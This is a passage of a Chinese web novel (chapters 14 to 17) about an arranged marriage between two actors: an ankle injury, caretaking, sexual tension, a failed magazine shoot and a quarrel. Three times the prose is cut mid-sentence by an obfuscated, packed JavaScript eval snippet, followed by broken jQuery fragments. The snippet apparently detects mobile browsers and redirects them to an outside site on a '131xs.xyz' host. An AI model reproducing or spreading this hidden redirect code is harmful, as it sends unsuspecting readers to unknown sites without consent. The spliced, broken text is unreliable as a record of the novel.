要不是贺崤睡在沙发上,他也不至于过来看他,更不至于摔在贺崤身上还把自己脚扭了。
明明都是贺崤的问题。
这本来就是贺崤该受的。
想到这里,怀栖更加理直气壮,脚腕处传来的疼痛一点都没减轻,他必须得找点什么事情转移注意力,牙齿有点发痒,他下意识磨了磨牙,抱着贺崤的胳膊往上抬。
只不过还没咬到,就听见贺崤轻笑了声,“还想咬我?”
怀栖动作一顿,只是迟疑了几秒,贺崤就把胳膊从他手里抽了回去。
摆明了不乐意。
蓦地想起几小时前贺崤被咬之后那副表情,怀栖也顿时兴致缺缺,同时心底冒上来说不明道不清的失落。
对于他们没有一点感情的婚姻状况来说,这种举动确实超出了两人原本的关系。
贺崤之前那些行为,果然只是为了讨好他而已,至于其他更多的,贺崤只会感到厌烦。
怀栖还没被身边的人这么讨厌过。
板着一张脸屁股往后挪了挪,怀栖费劲地挪到了沙发角落,和贺崤中间的距离都能再塞下三个成年男性。
他靠在沙发上把受伤的脚用手抱起来,放在沙发上后又试着使了下劲。
立马疼得眼泪都快出来了。
一只脚走路肯定不方便,早知道当初装修的时候应该再加装一台电梯,现在爬楼梯肯定不行。
但是又不想在楼下待着。
不想和贺崤待着。
贺崤都那么凶了。
贺崤还讨厌他。
都怪贺崤突然回来。
一股脑把所有问题都推到贺崤身上,怀栖心底也没有轻松很多,反而越想越委屈越想越难过。
他已经很久没有受过伤了,就算是拍戏的时候都把自己保护得很好,上次受伤应该还是在小学时候不小心被班里一个非常调皮的男生用铅笔盒砸到了腿。
不行就叫辆车把自己送回宿舍,宿舍没有上下楼不需要爬上爬下。
但他的手机还在大门旁边的柜子上。
早知道应该直接拿了手机就走,为什么要管贺崤会不会冻死,他居然还想着要不要给贺崤拿一床被子或者干脆让贺崤上楼睡!
怀栖越想脸板得越厉害,好久之后又尝试着把受伤的脚放下去,还没踩到地面就感受到了钻心的痛。
受伤的痛连着喝下去的还没完全挥发的酒精,瞬间让他的鼻子一酸。
趁着眼泪还没掉下来,怀栖立马一鼓作气试图一只脚站起来。
只不过屁股刚离开沙发,一只手突然握住了他的腰,不需要他用力就直接把他提了起来。
“放开我。”怀栖头都没有抬。
低头看着怀栖露出来的白皙的后颈,贺崤慢吞吞啊了声,像是很随意地问:“你确定?”
怀栖两只手都扶着沙发,闻言毫不犹豫回答:“确定。”
贺崤既然讨厌他的话,他也不需要贺崤帮忙。
他们只需要在长辈面前维持表面和平。
两家这几年的合作非常频繁,即使怀栖不参与公司任何事务也知道这段婚姻对两家来说百害而无一利。
对怀栖这样从来没想过喜欢谁或者谁喜欢他然后谈一场轰轰烈烈的恋爱的人来说,这样的婚姻无疑是最好的。
确实是最好的。
怀栖一动不动。
落在他腰上的那只手也一动不动。
不,动了。
不是松动,反而是握紧了许多。
怀栖撑着沙发的双手也跟着一紧,没忍住抬头:“你干什么!”
趁着他是伤残吃他的豆腐吗?
他们结婚两年多从来没有过这么多的肢体接触!贺崤现在这样搂着他的腰又是在干什么?
他的表情比之前好不到哪里去,甚至看起来更加可怜了。
贺崤目光顿了片刻,才拉长着声音“嗯——”了一声,“你说确定我也不能松手,你要是摔了怎么办?”
“那也跟你没有关系。”怀栖声音闷闷的,都不想跟他大声说话了。
反正他怎么样都跟贺崤没什么关系。
“是吗?”贺崤低低笑了声,“那也不是你说了算,我俩单独在一起你受伤了,要是家里知道了肯定会觉得是我照顾不周。”
怀栖瞬间挣扎起来,语气却越来越平静:“我会跟他们说跟你没有一点关系。”
果然是因为家里。
家里人又看不见他们做了什么。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059532|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但他根本挣扎不开,不说脚受伤了等于半边残废使不上劲,就算是使上了,贺崤的劲也能压着他。
也不知道贺崤有没有听进去,一点也没有要松手的意思,在怀栖的挣扎之下他的力道反而越来越大,也越靠越近,几乎直接靠在怀栖身侧,含着笑意道:“除了家里,以我们的关系,我也不能对你坐视不管吧。”
“我们什么关系?”怀栖下意识问。
贺崤以一种“你居然不知道我们什么关系”的口气回答:“合法夫夫关系,我叫过你老公的关系。”
怀栖:“……”
谁承认了吗?
贺崤到底是怎么把这种话面不改色说出来的?
怀栖张了张嘴居然说不出一点反驳的话。
他没贺崤那么厚脸皮。
没等他发出任何反驳意见,贺崤已经率先默认了自己的话很有道理,揽着怀栖的腰低头扫视了一下,“怀小少爷想怎么上楼?我背你上去还是我抱你上去?”
“我不需要你——”
“那你是准备今晚睡在楼下?”贺崤似乎思考了一下,“那你起身是想干什么?喝水吗?差点忘了你的水全洒在了我身上,我明天要是感冒了,大概就是这杯水的问题,你准备怎么补偿我?”
什么补偿?!他都没有找贺崤算脚伤的账!
他不说怀栖压根都不记得这件事。
这么久过去,贺崤被打湿的衣服早就干了,看起来没有一点异样。
贺崤身体素质那么好,看着也不像是会因为这杯水就感冒的人。
但怀栖心里还是冒出来一点愧疚。
当然只是一点而已。
“那还不是因为你睡在沙发上我怕你被冻坏了——”话说了一半怀栖突然顿住。
这么说听起来好像他很关心贺崤一样。
果不其然,贺崤挑了下眉,“怕我被冻坏了?”
怀栖抿紧了嘴。
“这么关心我啊?那我不是得更关心你了?”贺崤一边说着一边突然弯下腰来,在怀栖还没发现他想做什么的时候,他一手抵住怀栖的膝窝,一手揽着怀栖的腰,直接轻轻松松把怀栖打横抱了起来。
怀栖看着人瘦,抱起来也确实很轻。
对贺崤这样常年在外拍戏的人来说这点份量根本算不上什么。
回答他的是怀栖的惊呼,“你有病啊贺崤!快放我下来!”
“这么说起来你受伤也是因为我。”贺崤压根不搭理他的话,直接答非所问,自顾自往楼梯口走,“这样看来我得对你负责到底了。”
谁要你负责?
怀栖挣扎了两下,又有点害怕自己会摔下去,干脆不再乱动。
贺崤走得很稳,肯定比他单腿走路方便安全多了。
有这么个代步工具也不是不行。
再说……本来就是因为贺崤才受伤,由贺崤负责也没什么问题。
眼皮动了动目光从贺崤的下巴处扫过,这人的五官不管从哪个方向看都很好看,如果不是这个性格的话也还不错。
片刻后,怀栖伸出手臂搂住贺崤的脖子让自己靠得更稳当点。
没几秒就听见贺崤低低笑了声,“怀小少爷是不是还没洗澡?身上一股酒味,需要我帮忙吗?”
15.第 15 章
贺崤得到的答案是进入卧室前怀栖一路的沉默,以及将人送到床边之后,怀栖非常冷漠地让他从卧室滚出去。
顺利回到卧室贺崤就失去了他的作用,说完之后怀栖就定定地看着贺崤。
贺崤站在他面前一动不动。
怀栖仰着脖子也没动。
两人僵持了许久,还是怀栖率先打破沉默,催促道:“你干什么?”
贺崤靠在门边打了个哈欠,“不干什么,我困了。”
还好他没再提要给自己洗澡的事情,不然怀栖觉得自己能直接一条腿把人赶出去。
但看见贺崤那似有如无往床上瞟的视线,怀栖还是警觉起来。
贺崤似乎察觉到什么,轻笑了声,“这也是我的床。”
怀栖:“……”
贺崤说得没错。
当初装修的时候为了好看,也为了不欢迎任何客人,怀栖只在家里放了一张床。
那时候根本没考虑到他会和贺崤分房睡的问题,也没考虑过两人会频繁住在一起。
贺崤之前也偶尔会回来住,但两人一直没碰上过,再加上每次怀栖回来都会让阿姨换掉床上用品,其实跟一个人睡没什么区别。
这当然也算贺崤的床。
但前提是这张床上只有贺崤一个人,而不是他也在。
贺崤本来已经在楼下的沙发将就过两次了。
怀栖莫名心虚,想把他赶出去的话到了喉咙口又有点说不出来。
然而贺崤这人非常喜欢得寸进尺。
大概是见自己没有第一时间赶他出去,居然当着他的面脱掉了上衣。
怀栖立马板起脸:“你脱衣服干什么?”
贺崤扭头看着他笑了笑,手搭在裤腰上,“抱你上来一身汗,你不洗澡,我要洗。”
他这样看着一点也不正经,说话的语气也不正经,怀栖手边没衣服扔他脸上,只能试图卷起被套。
不过没等他卷成功,贺崤就已经往浴室走,一边走还一边回头:“你真的不需要我帮忙洗澡吗?”
“不要!!”
这种事怎么可能让贺崤帮忙?
之前在酒精作用下睡着了怀栖也没觉得自己脏,现在人都醒了,再加上被贺崤提醒了一遍,怀栖越来越觉得浑身不舒服,嗅了嗅衣服,果然闻到了很重的酒味。
酒味和药酒味道融合在一起,说不出的难闻。
连怀栖自己都有点接受无能。
但他现在这样肯定没法单独去洗澡。
当然也不可能让贺崤帮自己洗。
但是不洗的话,他今晚大概睡不着了。
眼看着天都快亮了。
犹豫许久,贺崤已经洗完澡从浴室出来。
他就穿了件浴袍,头发都在滴水,露出胸口的肌肉,配上他那张脸,有几分禁欲系的帅。
当然也仅存于他没有任何表情的时候。
怀栖瞥了他两眼,在贺崤走过来之前,闭着眼伸出手,理直气壮吩咐:“抱我去洗澡。”
反正贺崤都说要负责了。
片刻,他听见贺崤非常不正经地笑了声。
怀栖顿时有点耳热,挺了挺脊背,由着贺崤把自己抱起来。
浴室里一点都不热,贺崤刚洗的还是冷水澡。
这人之前被泼了点水就说什么会感冒,现在洗冷水澡就不怕感冒了?
怀栖瞪了他两眼,什么话也没说。
反正感冒的人是贺崤,跟他没关系。
进了浴室之后贺崤也没把他放下来,怀栖在他怀里指使着他把洗澡要用的东西全都放到自己顺手的地方,贺崤也没拒绝,就是一直没怎么说话。
等怀栖意识到事情不太对劲的时候,浴缸里水已经放满了,他要求的那些东西也整整齐齐被摆在浴缸旁的架子上。
原本没有热气的浴室很快被雾气熏腾,空气变得稀薄而又闷热。
怀栖原本只是打算冲一下,见状在贺崤怀里挣扎起来,“我不要泡澡。”
“不泡的话,你准备站着洗?”贺崤啊了声,似乎在思考这件事的可能性,“站着洗也行,不过就是需要我帮忙而已,看来你还是更倾向于让我帮忙……”
没等贺崤说完,怀栖就敲了他胳膊两下,“放我下来!”
贺崤没动,一直到怀小少爷在他怀里剧烈挣扎起来,眼看着快要摔下去,贺崤才稳稳当当把人放进浴缸里,嬉皮笑脸地问:“要我帮你脱衣服吗?”
猝不及防,怀栖浑身都湿透了,连看都没再看贺崤一眼,把自己彻底埋进水里只剩下一个脑袋露在外面,恶狠狠地赶人:“滚!”
事到如今他还有别的选择吗?
好在贺崤走得很干脆。
要是这时候贺崤想做点什么,他肯定没有一点反抗能力。
但贺崤也不会做什么。
他的话一句都不能信,贺崤是影帝,什么都能演出来。
只有下意识的表情传达出来的才是真正的情绪。
被热水包裹的舒坦瞬间被另一种情绪替代,怀栖在水下摸了摸自己受伤的脚腕,闭上眼不再去乱想。
贺崤讨厌他也无所谓,反正他们又不需要感情。
没在浴缸里泡多久怀栖就把贺崤又喊了进来,吩咐他把自己抱出去。
他提前在身上裹了浴巾,虽然浴巾已经湿透了,但总比没有的好。
就是把贺崤衣服也弄湿了。
怀栖也没在意,回到卧室就吩咐贺崤给自己拿干净的衣服,还不允许贺崤偷看。
也不知道贺崤是困了还是知道自己老嬉皮笑脸看起来像流氓,整个过程居然都没有说什么话,也没有继续调戏他。
怀栖还有点不习惯。
但这点不习惯在他躺到床上给贺崤分出一半床的时候就完全不够看了。
他闭着眼直挺挺地缩在被子里,感觉哪里都不舒服。
虽然不舒服,但折腾了一晚上,困意早就席卷上来,怀栖也不记得自己什么时候睡着的,更不知道贺崤到底是什么睡的。
醒来的时候床上只剩下他一个人了,就好像昨晚贺崤根本没睡在这里一样。
但另一个枕头明显有被睡过的痕迹。
看来贺崤也完全做到了就算睡在一张床上也跟他井水不犯河水。
懵了一会儿下意识想下床,脚伸出去传来疼痛怀栖才想起来自己脚受伤了。
不是说要负责吗?居然就这么把他扔在卧室里不管了?
一只脚根本没法自由行动,更别说地上那么滑……在看见不知道什么时候铺满地毯的地面之后,怀栖愣了一会儿,试探性地把没受伤的那只脚踩在地面。
不滑了。
受伤的那只脚其实也已经没有那么痛了,看着还比昨天消肿了许多。
试着单脚走了一会儿,怀栖还是没敢下楼。
他怕自己再摔下去。
重新回到床上环顾了一下四周,怀栖看见他的手机就摆在床头柜上。
时间已经是上午十点多,难怪有点饿。
现在这种情况
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066125|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只能让阿姨送饭上楼,给阿姨发完消息说完诉求,怀栖又约了家庭医生上门给自己抹药酒,至于去医院拍片,他一点也不想去。
他现在这样出门实在是太麻烦了,好在这几天没有什么工作——不对,过两天还有个杂志拍摄。
不想去了。
正准备告知闻华自己脚扭了的事情,闻华的消息就正好跳了出来。
闻华:[你试镜过了!收到消息了吗!]
翻了翻短信确实有试镜通过的消息,但他的脚不知道什么时候能完全好,也不知道剧什么时候开拍。
但让他放弃角色肯定是不可能的。
回了句收到了,怀栖又把自己昨晚不小心崴到脚的事情告诉了闻华。
闻华果然很担心,立马给他打了个电话问他严不严重,他现在就过去看他。
怀栖又不在宿舍,当然不可能让闻华过来看自己,连忙拒绝了闻华的好意。
见他坚持,闻华也没继续执着下去,絮絮叨叨叮嘱他要注意安全,末了又试探着问:“那杂志拍摄还能去吗?不能去的话我跟那边说一下……”
虽然这份工作对一直没太多工作的怀栖来说很重要,还是他托了关系才得来的,对方反馈也很好,但对闻华来说,还是怀栖的个人安全更重要。
只不过这样一拒绝,之后这种事估计就轮不到怀栖了。
本来就没什么名气,再加上没有信誉,对方那边肯定会直接将怀栖拉黑。
避免怀栖逞强,闻华没把拒绝后的弊端说出来。
怀栖完全不知道闻华在担心什么,不去两个字到了嘴边又咽了进去,想到闻华告诉自己好不容易拿到这份工作的时候的兴奋,他就有点难以拒绝。
拍摄也只是摆动作,不需要运动,而且到时候他的脚应该没有那么痛了。
也不是完全不能忍。
只是稍微有点不能忍而已。
纠结了小半分钟,怀栖说:“还能去。”
闻华立马松了口气,又订好了等那天来接他就匆匆挂了电话。
他这边还有别的工作,不然他肯定直接去看怀栖的伤势如何了。
挂断电话,怀栖戳了戳手机屏幕,一不小心戳进了和贺崤的对话框。
消息停在昨天他回来前贺崤给他发的问候上面。
贺崤问他:[比赛如何?]
贺崤还关心这些?
怎么这么虚假?
再往上翻是两天前贺崤说:[住我的房子也不跟我说一声?]
是他跟庄望住进赛场附近贺家的房子的第二天。
什么贺崤的房子。
明明贺崤的就是他的。
再之前就是贺崤说自己对他印象好的那天,贺崤后面又给他发了消息。
是跟爷爷的通话记录。
总共就没两次,每次也不超过一分钟。
给他看这个干什么?
贺崤想证明什么?
怀栖没回复,继续戳着手机屏幕,一直到卧室的门被敲响,他头也没抬就让人直接进来。
餐车的声音停在了他面前,空气里不止有饭菜的香味,还有隐约的料酒味。
怀栖皱了皱眉,目光从贺崤的微博广场上挪开,抬起头,恰好和面带笑意的贺崤撞上。
“你怎么还在?!”
“这么关心我?想知道什么直接问我不就好了吗?”
两人同时出声,贺崤看着怀栖的手机界面挑眉一副吊儿郎当心情愉悦的模样,“我不是说要负责吗?”
16.第 16 章
狐疑地观察了贺崤半天,发现他确实对自己有求必应之后,怀栖已经非常理直气壮地让贺崤抱着自己上楼下楼,连洗漱和上厕所都要贺崤抱着自己去。
当然如果贺崤不执着于亲自给自己上药的话,怀栖会很满意他这次的表现。
经过两天的休息,怀栖的脚腕已经看不出很明显的红肿,但走路的话还是会隐隐传来疼痛。
光着脚踩在贺崤大腿上,怀栖死死抿着唇看着贺崤给自己涂抹药酒。
浓重的药酒味在客厅中传开,伴随着贺崤越来越重的手法,疼痛也一并发散。
怀栖忍不住哼了声,没受伤的脚踹了贺崤的小腿一下,“轻一点。”
忍痛的语气里带了些许哀求的意思。
贺崤喉结无意识滚动了几下,手下动作顿了顿,没抬头看怀栖什么表情,目光所及之处是怀栖细白的小腿和踩在他黑色裤子上过分白皙的脚,和黑色形成了过于强烈的对比。
这几天怀小少爷大概被照顾得心情不错,连天天面对他都没有发什么脾气,果然脾气确实很好。
只不过似乎还没意识到两人之间到底是什么身份。
居然用这样的声音跟自己说话,也毫不在意两人之间的身体接触,甚至连去洗澡都要指使着自己给他放水拿衣服。
“轻了没作用,怀小少爷这么不吃痛?”贺崤手上力道一点没减,反而有加重的趋势。
贺崤拍过不少动作戏,受伤的时候通常都是自己上药,手法方面当然没什么问题,怀栖甚至觉得他比家庭医生手法更加熟练,也更有效果。
但这也不是故意弄疼他的理由!
怀栖疼得皱起眉,他怀疑贺崤在故意报复自己!
明明前两天还没有下这么重的手,很明显就是不耐烦了。
好像自己很需要他帮忙一样。
就算贺崤不帮忙,他也可以找家庭医生,找阿姨,至于上下楼的问题,如果不是贺崤在的话他现在已经可以走路了。
想也没想,怀栖就踹了贺崤两脚,开始从贺崤手里挣扎起来。
受伤的脚一用力就会加重疼痛,但那也比被贺崤下那么重的手好。
他挣扎幅度太大,贺崤没什么防备,被他踹得后背直接撞到了茶几上。
茶几晃了两下,上面的玻璃杯发出碰撞声。
怀栖微微一愣,踩着贺崤大腿的脚立马蜷缩起脚趾。
不敢再乱动了。
这一下看着撞得不轻,贺崤眉头皱了一下,但很快又松开了。
怀栖双手撑着沙发,顿时心虚得要命,轻轻拿另一只脚踹了踹贺崤的小腿,小声问:“你……你没事吧?”
他只是想挣脱开而已,没想伤害贺崤。
谁让……谁让贺崤那么用力。
但这确实是他的问题。
怀栖从来不是蛮不讲理的人。
贺崤双手还抓着他的脚,眼皮抬起,两人对视了片刻,看得怀栖越来越心虚,道歉的话已经到了嘴边,却看见贺崤突兀地勾起唇角,又是那副没点正经的模样。
“力气这么大,看起来好得差不多了?”贺崤笑着捏了下怀栖的脚腕,完全没有提及后背撞到的事情。
他捏的不是受伤的地方,手法也跟揉药酒的时候完全不一样,更像是在怀栖的皮肤上摸了一下。
怀栖瞬间像被什么怪异的东西碰到,浑身汗毛都立了起来,身体的防护机制让他下意识脚往前踹了一下。
然而就是这一下,两人双双顿住。
贺崤闷哼一声。
怀栖:“……”
如果他没感觉错的话,踹到的地方哪怕隔着裤子都能感受到硬度和热度……
贺崤有病吗?!!
怀栖立马整个人往后缩,也顾不上脚还疼不疼,直接缩到了沙发角落里。
明明是他踹了人,看起来却像是他被欺负了。
如果他的目光没有不受控制拼命地往刚刚被自己踹的地方瞟的话。
贺崤怎么能……
怎么会在这种时候……
“反应这么大?”贺崤深深吐出一口气,看着像没事人一样,也没动,就这么大大方方让怀栖看,笑得还非常……有深意地看着怀栖彻底红透的脸。
到底是谁反应大了?
怀栖张了张嘴,他脸皮没贺崤那么厚,根本说不出太出格的话来,酝酿了半天只憋出来一句:“你才反应大!”
贺崤啊了声,似乎很认同他的观点,“确实有点。”
怀栖:“……”
怀栖脸越来越红,开始口不择言,“你有病啊这样你都能……”
“男人本性。”贺崤一点都不避讳,说得直白得要命,“更何况你在我腿上又踩又蹭。”
他什么时候又踩又蹭了?
怀栖根本听不得这种污言秽语,恨不得捂住耳朵。
这人就没有一点羞耻心的吗?
说得好像罪魁祸首是自己一样!
他捂着脸看都不敢再看贺崤一眼,但又恨不得指着贺崤鼻子骂:“你有病你变态!”
“我又不是对着别人,对着自己的合法老公起反应不是很正常?”贺崤笑意更甚。
摆明了在故意逗弄他,也在提醒他。
可惜怀栖这会儿大脑丝毫不清醒,羞耻心快把他淹没了,压根听不出来贺崤的言外之意,一门心思只想骂他,不过他骂人词汇匮乏,骂来骂去也就有病变态两个词。
贺崤一点没有被骂的自觉,等怀栖骂累了停下休息,他才慢吞吞地说:“我去楼上洗个澡,你要上楼吗?”
鬼都知道他现在去洗澡是要去干什么了!
怀栖怎么可能跟着他一起上楼!
回答他的是怀栖凶巴巴的滚。
贺崤心情不错地上了楼。
洗完冷水澡下来,楼下已经没人了。
怀栖跑了。
只留下一屋子药酒味。
也不算很意外,毕竟猫被逗狠了也会躲起来。
挑了挑眉,贺崤摸了摸后背多出来的淤青,心情依然不错地对着镜子拍了张自拍,给怀栖发了出去。
看到贺崤这张照片的时候怀栖人已经在宿舍待着,他让家里司机把自己送了过来,一回来就把自己埋进被子里强迫自己睡觉。
怎么也想不通这个世界上怎么会有贺崤这么厚脸皮的人。
贺崤对别人也这样吗?
他倒是突然想起贺崤演过的电影。
贺崤出道这么多年演过的电影很多,什么类型都演过,包括主题是爱情的。
不过那么多电影,贺崤似乎并没有演过亲密戏。
就算是联姻,婚后有些事情其实也很正常,怀栖自己倒没什么想法,不过一开始的时候他还以为贺崤会向自己提出这种要求。
但贺崤不仅没有,连同床共枕都没有。
也就这几天……两人一直相安无事地睡在一张床上,谁也没打扰谁,就跟对方完全不存在一样。
庄望甚至还怀疑过贺崤是不是年纪大了力不从心了。
但今天来看,好像也不是……
只不过就像贺崤说的正常生理反应,青春期甚至一运动精神亢奋都会起生理反应。
并不代表什么。
也不代表贺崤对他有什么想法。
毕竟,贺崤下意识的讨厌做不了假。
心情很快平复下来。
也不算平复,只不过被另一种烦人的情绪替代了而已。
怀栖慢吞吞从被子里钻出来看手机。
贺崤发的照片上,后腰处有很明显的淤青,明显就是撞在茶几上撞出来的。
除了照片之外贺崤也没发什么,但意思也很明显了。
不就是要他赔偿吗。
怀栖也不是不承认自己的错误,他又不是会逃避责任的人。
但贺崤发的这图恰好证明了贺崤压根对他就没什么想法,不然怎么会这么斤斤计较。
那种莫名其妙的烦又冒了出来,怀栖戳着手机没立马回复,好久才戳了“对不起”三个字发出去。
发完也没管贺崤回了什么就重新把自己埋进了被子里。
第二
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078534|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天怀栖要去参加杂志拍摄,为此闻华早就跑来他公寓接他了,还给他带了不少吃的和补品,都是对骨头恢复好的。
虽然怀栖伤得不是骨头,脚腕处的伤不仔细看也已经看不太出来了,就是走路还不太顺利,有点一瘸一拐,看得闻华心疼得要命,恨不得直接背着他走。
杂志的拍摄和怀栖预期设想中的不太一样,需要全程拍到脚,姿势也变来变去,比上回只是拍正脸近照要麻烦多了。
原本以为并不会对脚造成什么负担,然而拍了没多久,脚上就传来钻心的痛。
这两天一直有贺崤这个代步工具,怀栖根本没想到脚伤居然还能越来越严重,拍到一半因为对他的表现不太满意,全场中场休息的时候,怀栖发现自己的脚腕又重新肿了起来,甚至隐隐有往刚受伤那会儿发展的趋势,看得闻华急得要命,去附近的店要了不少冰块临时给他冰敷。
红肿消下去不少,但还是很痛。
痛得怀栖莫名其妙委屈起来。
尤其是被这边的负责人接二连三地批评自己没有任何表情管理,明明是个演员却连简单的杂志都拍不好的时候。
比第一次拍的时候要求严格多了,也可能是因为给的版面很重要。
他也不能发作,毕竟这是工作。
但比演戏NG的时候都难受。
毕竟演戏是他喜欢的事业,拍杂志不是。
全程守在一旁的闻华听得也难受得要命,恨不得冲上去说他们不拍了,但那样的后果实在是太严重了。
怀栖就是个没什么名气的小明星,又没有后台。
在不知道第几次被负责人叫停,接受批评,而脚腕处钻心的疼痛愈演愈烈的时候,怀栖忍着痛面无表情看向负责人。
负责人到嘴的骂人的话一顿,改了口:“你这么看着我干什么?我说错了?拿钱办事就拿钱办事,真以为光靠脸就能赚钱?”
也不知道是不是对怀栖脸的一种肯定。
但很明显这人也不单单是因为怀栖表现不好而一直不断地批评他,显然有别的因素在。
怀栖也不知道是什么别的因素,他淡淡地看着对方,斩钉截铁地说:“我不拍了。”
听见这话的闻华居然瞬间松了口气,连忙跑到怀栖身边试图护住他。
怀栖心底染上点对闻华的歉意。
这份工作是闻华求来的,闻华一直以来都对他寄予厚望,不过今天肯定要让闻华失望了。
之前拍的杂志都还没上市,估计也要泡汤了。
果不其然,负责人闻言噼里啪啦一顿骂。
从怀栖的表现骂到他的自以为是再骂他永远不可能出头,还说要在时尚圈封杀他。
没等怀栖说什么,闻华就挡在怀栖面前,难得硬气了一回:“封杀就封杀!”
反正怀栖的主业也是电视剧。
没等怀栖说什么,闻华就拽着怀栖走了。
硬气得狠。
难得看他这么硬气,怀栖都忘记自己还在委屈了,一直到了车上,闻华才用脑袋撞着方向盘,嘴里不停地念叨着完蛋了。
闻华整个人跟颓了一样。
能不颓吗?
最重要的是违约金!怀栖赚的钱本来就少,这回还要赔钱!
猜到闻华为什么这样,怀栖把副驾驶上的糖递给他,“闻华哥,没关系,钱我会自己赔,你别担心。”
看看怀栖多懂事!还反过来安慰自己!这群人就知道逮着老实人欺负!
闻华强装镇定,纠结了一会儿,还是决定先带着怀栖去医院拍个片。
怀栖:“……”
闻华心意已决,他怎么抗议都没有用,闻华都已经把车开医院去了。
临下车,怀栖还是给人发了消息,让对方去查一查这家杂志社。
他们封杀自己倒是无所谓,但闻华手下那么多艺人,不能被他连累。
不查不知道,查了才发现,这家杂志社居然在贺崤名下。
就算知道肯定和贺崤没关系,原本压下去的委屈,还是瞬间一股脑全都冒了上来。
17.第 17 章
就算再怎么委屈,怀栖也不会因为这种事就去找贺崤算账,只不过在第二天贺崤给他打视频的时候直接拒绝了对方。
还一连拒绝了好几次。
一直到贺崤似乎死心了没再继续给他打视频为止。
也不对,贺崤还没完全死心,又给他发了新的消息,发了两个字:[有事]
平时贺崤也没这么不依不饶,大概是真的有事,怀栖只能勉勉强强在贺崤再度打视频过来的时候在自动挂断之前按下了接听。
很快贺崤那张厌烦的脸出现在手机屏幕上,怀栖靠在宿舍不怎么舒服的沙发上沉默地看着对方。
刚抹过药酒的脚垂落在沙发边上,有一下没一下地小幅度动着,隐隐传来痛意。
他没说话,贺崤率先开口,“这是在片场吗?什么时候接的现代剧,怎么没看到你的行程里有这么一项。”
贺崤这话明显是开玩笑,但听在现在的怀栖耳朵里就非常刺耳了。
在新的剧进组之前他压根就没其他工作了。
本来怀栖也不在意这些,演戏就是爱好,他也不缺钱,工作再少也没关系。
但现在他就是很烦贺崤说这种话。
哪怕知道贺崤就是这么个性子。
他抿着唇一声不吭,看起来完全不想和自己说话。
贺崤挑了挑眉,“我又哪里得罪你了?”
怀栖依然不吭声,表明了就是不愿意和他说话。
前两天还不是这幅模样。
想来想去也事情也是从自己给他发了受伤的照片得到了一句“对不起”开始的。
贺崤怀疑那之后怀小少爷就没看过自己的消息。
“让你说句对不起就这么委屈你了?”贺崤用开玩笑的语气问。
反应了一会儿怀栖才明白他说的对不起是什么意思。
怀栖立马盯着屏幕,“我在你眼里是那种不负责任的人吗?!”他声音陡然拔高,隔着屏幕都能感受到语气里浓浓的委屈,还有脸上那一副受欺负的表情都表明了怀小少爷现在心情很差。
吼完人怀栖又立马平静下来,不等贺崤做出什么反应,他就控制着情绪平静地问:“有什么事快说。”
“你现在这样让我怎么说?”
实在摸不准怀小少爷到底又怎么了,不过看起来自己刚刚那话确实令他不快了,贺崤知错就改,正准备道歉,就听怀栖淡淡地说:“那就不要说了,什么都不要说了。”
反正他在贺崤眼里是那样的人。
怀栖这句话就像是点燃了什么导火索。
贺崤闭了闭眼,“你什么都不说我也猜不到你什么意思,怀栖。”
他很少连名带姓喊怀栖,这么喊人听起来就好像不耐烦了,怀栖也很少在他面上看见这么正儿八经的表情,就像是那天自己咬了他之后一样的情绪。
是对自己的不耐烦,是讨厌自己。
本来以为小少爷会因为愤怒,正好宣泄一下情绪,结果没两秒,坏小少爷反而平静地哦了声,“没什么好猜的。”然后挂断了视频。
一点反应的机会都没给贺崤。
看着突然被挂断的电话,贺崤难得烦躁地啧了声。
刚好进来的助理:“……老,老板?”
贺崤眼皮动了动,片刻后重重叹了声气,“你说差十岁代沟真的这么大吗?”
一听就是和怀栖少爷有关。
助理:……
这让人怎么回答?
“你随便说,我又不会骂人。”
贺崤确实不会骂人,平时不管发生什么,他都是一副不怎么正经的模样。
也就跟在他身边工作了很久的助理才知道,老板骂人归不骂人,但脾气也算不上太好,出了事,他有的是办法解决。
就像之前那个卢乐的事情。
助理纠结了一会儿,“可,可能吧,毕竟三岁一代沟……但,但是您跟怀栖少爷情况也不一样嘛,你们都结婚这么久了……”
贺崤挑眉:“那他把我当叔叔这事怎么解决?”
助理:“……”
助理回答不来,只想选择闭嘴。
贺崤也没打算从助理身上得到答案,片刻后,“去盯着你老板老公的行程,之后有什么行程都得告诉我。”
助理愣了一会儿才反应过来老板老公是谁,嘴角抽了抽。
之前老板也没这么关心怀栖少爷的行程,最近这是怎么了?
总不能真的是被老爷子逼急了吧?看着也不像啊。
以前被老爷子逼的时候老板也没这么听话。
助理也没敢说什么,立马就去照办了,还是亲力亲为地办,毕竟很少有人知道两人关系,给别人办他不安心。
不管是出于什么原因,两人还是陷入了冷战。
